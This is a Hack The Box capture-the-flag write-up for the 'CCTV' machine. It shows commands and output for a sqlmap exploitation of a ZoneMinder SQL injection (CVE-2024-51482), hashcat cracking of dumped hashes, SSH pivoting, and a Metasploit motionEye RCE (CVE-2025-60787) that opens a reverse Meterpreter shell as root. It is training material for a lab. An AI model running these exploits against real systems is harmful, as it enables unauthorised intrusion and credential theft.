CCTV WriteUp

CCTV is a 🟩 Easy machine on Hack The Box. It chains a SQL Injection in ZoneMinder to obtain SSH credentials, with the discovery of internal video surveillance services after pivoting from the compromised machine. Escalation to root is achieved through an authenticated RCE in motionEye.

• IP: 10.129.3.35
• Approximate time: ~1.5h

🗺️ Attack Chain

Nmap → Port 80 (ZoneMinder 1.37.63)
      │
      ▼
Default credentials admin:admin → panel access
      │
      ▼
CVE-2024-51482 (Boolean SQLi) → sqlmap → mark:opensesame
      │
      ▼
SSH as mark
      │
      ▼
LinPEAS → tcpdump (cap_net_raw) + internal ports
      │
      ▼
Port Forwarding → motionEye 0.43.1b4 on :8765
      │
      ▼
/etc/motioneye/motion.conf → admin:989c5a8ee87a0e9521ec81a79187d162109282f0
      │
      ▼
CVE-2025-60787 (Metasploit RCE) → root 🏴

🔍 Reconnaissance

Port Scanning

echo "10.129.3.35 cctv.htb" | sudo tee -a /etc/hosts
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv cctv.htb
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv cctv.htb

Small attack surface. Port 22 is not vulnerable, so we focus on port 80.

🌐 Port 80 — ZoneMinder

The site is SecureVision, a security solutions company (CCTV, access control, etc.). The only entry point is the Staff Login button, which redirects to a ZoneMinder panel.

🧠 What is ZoneMinder? Open-source CCTV software for Linux, compatible with IP, USB and analog cameras.

First, we try the default credentials:

admin:admin

They work. Once in, we confirm the version via the API:

curl -s http://cctv.htb/zm/api/host/getVersion.json \
  --cookie "ZMSESSID=<your_cookie>" | jq

{
  "version": "1.37.63",
  "apiversion": "2.0"
}

ZoneMinder 1.37.63 — a quick search reveals CVE-2024-51482 , rated 9.9 CRITICAL.

CVE-2024-51482 — Boolean-Based SQL Injection

This is a blind boolean-based SQLi on the tid parameter. Doing it manually would take hours, so we use sqlmap directly against the ZoneMinder credentials table:

💡 ZoneMinder stores users and passwords in the zm database, table Users, columns Username and Password.

sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' \
  --cookie="ZMSESSID=<your_cookie>" \
  -D "zm" -T "Users" -C "Username,Password" \
  --dump --batch

+------------+--------------------------------------------------------------+
| Username   | Password                                                     |
+------------+--------------------------------------------------------------+
| superadmin | $2y$10$cmytVWFRnt1XfqsItsJRVe/...                           |
| mark       | $2y$10$prZGnazejKcuTv5bKNexXO...                            |
| admin      | $2y$10$t5z8uIT.n9uCdHCNidcLf....                            |
+------------+--------------------------------------------------------------+

Cracking the Hashes

The hashes are BCrypt ($2y$10$) with 1024 iterations. We run them through hashcat:

hashcat -m 3200 hashes /usr/share/wordlists/rockyou.txt

$2y$10$prZGnazejKcuTv5bKNexXO...:opensesame   → mark
$2y$10$t5z8uIT.n9uCdHCNidcLf...  :admin        → admin

⚠️ superadmin doesn’t appear in rockyou. The admin:admin credentials we already had — the relevant ones are mark:opensesame.

💉 Initial Access — SSH as mark

ssh mark@cctv.htb
# password: opensesame

mark@cctv:~$

🚩 User Flag

cat /home/sa_mark/user.txt

🔎 Internal Reconnaissance

We run LinPEAS and note the most relevant findings:

Multiple network interfaces (veth..., br-...) — pointing to Docker containers running on the machine.

Ports listening on localhost:

Notable capabilities:

/usr/bin/tcpdump   cap_net_raw=eip   ← allows traffic capture
/usr/bin/ping      cap_net_raw=ep

💡 cap_net_raw=eip on tcpdump means it’s active from startup (e), permitted (p) and inheritable by child processes (i). We could capture traffic on internal interfaces, but there’s a more direct vector.

Port Forwarding to Internal Services

We forward the most interesting ports to our machine to analyze them from the browser:

ssh -L 8765:127.0.0.1:8765 -L 7999:127.0.0.1:7999 -L 9081:127.0.0.1:9081 mark@cctv.htb

Running nmap on the forwarded ports identifies:

• :7999 → Motion 4.7.1 (motion detection daemon)
• :8765 → motionEye 0.43.1b4 (web frontend for Motion)
• :9081 → Live MJPEG stream from a camera

🧠 Video surveillance stack: Motion captures frames from the cameras, motionEye provides the web interface to manage it, and MediaMTX routes the RTSP/RTMP streams.

🔑 motionEye Credentials

We look for credentials in the configuration files:

cat /etc/motioneye/motion.conf

# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
# @normal_username user
# @normal_password

The value looks like a SHA-1 hash, but neither Crackstation nor hashcat with rockyou can crack it. We try using it directly as a password with admin:

admin:989c5a8ee87a0e9521ec81a79187d162109282f0 ✅

⚠️ It wasn’t a hash — it was the plaintext password stored in that unusual format inside the config file.

🧗 Privilege Escalation — CVE-2025-60787

motionEye 0.43.1b4 is vulnerable to CVE-2025-60787 , an authenticated RCE in the add_camera function. A Metasploit module exists:

msfconsole
use exploit/linux/http/motioneye_auth_rce_cve_2025_60787
set RHOSTS 127.0.0.1
set RPORT 8765
set USERNAME admin
set PASSWORD 989c5a8ee87a0e9521ec81a79187d162109282f0
set LHOST <your_ip>
set LPORT 4444
run

[+] The target appears to be vulnerable. Detected version 0.43.1b4
[*] Adding malicious camera...
[+] Camera successfully added
[*] Triggering exploit...
[*] Meterpreter session 1 opened

meterpreter > shell
whoami
root

🏴 Root Flag

cat /root/root.txt

📝 Attack Chain Summary

See you in the next challenge.